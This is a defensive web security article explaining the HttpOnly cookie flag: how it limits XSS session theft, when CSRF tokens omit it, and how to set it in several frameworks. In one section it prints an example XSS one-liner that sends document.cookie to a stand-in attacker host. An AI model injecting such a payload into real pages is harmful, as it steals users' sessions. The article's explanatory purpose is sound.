Article

The HttpOnly Cookie Flag: Stopping XSS Session Theft

The HttpOnly cookie flag hides a cookie from JavaScript (document.cookie), so a cross-site scripting bug can't read a logged-in user's session token. Always set it on session cookies; omit it only for cookies the front-end must read, like a CSRF double-submit token.

By Paul Rudenko, Security ResearcherUpdated Jun 30, 20266 min read

The HttpOnly attribute hides a cookie from JavaScript: a cookie marked HttpOnly is not exposed through document.cookie, so even if an attacker injects script through a cross-site scripting (XSS) bug, they can't read it. Always set it on session and login cookies. The only cookies that should omit it are ones the front-end genuinely needs to read, such as a CSRF double-submit token.

For the site owner (plain English)

In plain terms, HttpOnly is a setting that hides a cookie from the scripts running on your pages. That matters because the cookie keeping a user logged in is effectively their identity, and if a bug ever lets a bad script run on your site, that script could otherwise read the cookie and hijack the account. Marking the login cookie HttpOnlytakes that easiest theft route off the table, so a session cookie without it is a real issue worth fixing soon. The good news: most modern frameworks already turn this on by default, so often there is nothing to do. Ask your developer to confirm the session cookie isHttpOnly, or run the free check below to see it for yourself.

What HttpOnly protects against

XSS is the most common serious web vulnerability, and the usual goal of an XSS payload is to steal the victim's session. The classic one-liner reads every cookie and ships it to the attacker:

// What an XSS payload tries to do
new Image().src = "https://attacker.example/steal?c=" + document.cookie;

If the session cookie is HttpOnly, it simply isn't in document.cookie — the payload comes back empty for that cookie, and the attacker cannot lift the session this way. HttpOnly doesn't fix the XSS bug itself (you still must do that), but it removes the highest-impact outcome, turning session theft into a much harder problem.

HttpOnly matters most on the session/auth cookie. A session cookie without it means one XSS bug anywhere on the site can hand an attacker a logged-in session — which is why a missing HttpOnly on a session cookie is a high-severity finding, while on a non-sensitive cookie it is minor.

When HttpOnly should be omitted

Some cookies are designed to be read by JavaScript and would break if hidden from it. The most common is the CSRF double-submit token: the server sets a cookie like XSRF-TOKEN and the front-end reads it to echo the value back in a request header, which the server then compares. Frameworks such as Angular, Axios and Laravel use exactly this pattern, so those cookies are intentionally not HttpOnly:

  • CSRF double-submit tokens — XSRF-TOKEN, csrf_token, csrftoken and similar.
  • Front-end-read preference/analytics cookies — locale, theme, or analytics IDs the client script needs.

These are not sensitive in the way a session token is: the CSRF token is only useful when echoed back alongside the session cookie, which an attacker still can't read. A good checker recognises these and won't flag them for a missing HttpOnly — they should still be Secure and carry an appropriate SameSite.

How to add HttpOnly

# Raw header — a session cookie
Set-Cookie: sid=<token>; HttpOnly; Secure; SameSite=Lax; Path=/
// Express
res.cookie("sid", token, { httpOnly: true, secure: true, sameSite: "lax" });

# Django settings.py
SESSION_COOKIE_HTTPONLY = True   # on by default in Django

# Rails — on by default for the session cookie; for a custom cookie:
cookies[:sid] = { value: token, httponly: true, secure: true, same_site: :lax }

// PHP
setcookie("sid", $token, ["httponly" => true, "secure" => true, "samesite" => "Lax"]);

Many frameworks set HttpOnly on their session cookie by default — the risk is usually a hand-rolled cookie, or a session cookie deliberately exposed to the front end. If your SPA reads the session token in JavaScript, that is the real problem to redesign: keep the session in an HttpOnly cookie and use a separate, readable CSRF token.

See whether your session cookie is HttpOnly — free, no signup.

Run the cookie checker

Pair HttpOnly with the other two flags — see Secure and SameSite — and read the cookie security guide for the complete picture.

Frequently asked questions

What does the HttpOnly cookie flag do?

It tells the browser not to expose the cookie to JavaScript. A cookie marked HttpOnly does not appear in document.cookie and cannot be read by any script on the page, so even if an attacker injects JavaScript through a cross-site scripting (XSS) vulnerability, they cannot read the cookie's value. You set it in the Set-Cookie header, for example Set-Cookie: sid=<token>; HttpOnly; Secure; SameSite=Lax; Path=/. For a session or login cookie this is critical: it means a single XSS bug can no longer be used to steal the session token directly and replay it from elsewhere, which is why a session cookie missing HttpOnly is a high-severity finding. Note that HttpOnly only governs script access — it has nothing to do with whether the cookie is sent over HTTPS, which is the separate job of the Secure flag.

Does HttpOnly stop XSS attacks?

No — it limits their impact, it doesn't prevent them. An XSS bug still lets an attacker run JavaScript in your users' browsers and do damage: perform actions as the logged-in user, capture form input such as passwords, or deface the page. What HttpOnly removes is the easiest and most severe outcome: reading the session cookie via a line like document.cookie and replaying it to take over the account from anywhere, at leisure, long after the victim has closed the tab. You still need to fix the underlying XSS — HttpOnly is not a substitute for input handling and a content security policy — but it is an essential layer that makes session theft through document.cookie impossible. Think of it as containing the blast radius: the bug stays serious, but it can no longer hand over a durable session token.

Why isn't my CSRF token cookie HttpOnly?

Because it's designed to be read by JavaScript. The double-submit CSRF pattern works by having the front-end read a token cookie (such as XSRF-TOKEN) and echo its value back in a request header, which the server compares against the cookie; frameworks like Angular, Axios and Laravel use exactly this flow. If that cookie were HttpOnly, the front-end couldn't read it and CSRF protection would break. This is safe because the CSRF token is only useful when sent together with the session cookie — which remains HttpOnly and unreadable — so an attacker who can't lift the session gains nothing from the token alone. A good cookie checker recognises these double-submit tokens (and front-end-read preference or analytics cookies) and won't flag them for a missing HttpOnly. They should still be Secure and carry a sensible SameSite value.

Related guides

See your whole external attack surface

One page is a start. The full external scan covers TLS, headers, DNS, exposed files, open services and known-exploited CVEs across your whole domain.

See the full scan →